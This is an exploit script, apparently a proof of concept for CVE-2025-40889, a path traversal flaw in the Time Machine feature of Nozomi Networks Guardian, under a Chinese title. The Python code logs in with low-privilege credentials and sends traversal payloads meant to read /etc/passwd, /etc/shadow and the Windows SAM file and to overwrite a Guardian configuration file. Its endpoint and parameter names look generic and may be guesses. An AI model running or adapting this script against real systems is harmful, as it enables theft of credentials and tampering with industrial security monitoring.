Nozomi Networks Guardian Time Machine功能路径遍历漏洞

# CVE-2025-40889 - Nozomi Networks Guardian Time Machine Path Traversal PoC # Author: Security Researcher # Description: Exploits missing input validation in Time Machine functionality import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-guardian.example.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "low_priv_user" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_url = f"{TARGET_URL}/api/auth/login" login_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_payload, verify=False) if response.status_code != 200: print("[!] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit path traversal via Time Machine endpoint # The vulnerable endpoint accepts two parameters without proper validation tm_url = f"{TARGET_URL}/api/timemachine/retrieve" # Path traversal payloads targeting files outside /data directory payloads = [ # Attempt to read sensitive system files {"param1": "backup", "param2": "../../../etc/passwd"}, {"param1": "backup", "param2": "..\\..\\..\\windows\\system32\\config\\SAM"}, # Attempt to overwrite critical configuration files {"param1": "../../../etc/guardian/config.conf", "param2": "restore"}, {"param1": "backup", "param2": "../../data/../etc/shadow"}, ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Trying payload {i}: {payload}") try: resp = session.get(tm_url, params=payload, verify=False, timeout=10) print(f"[+] Status: {resp.status_code}") if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] Response preview: {resp.text[:200]}") print("[!] Possible successful exploitation!") except Exception as e: print(f"[-] Error: {e}") print("\n[*] Exploitation attempt completed")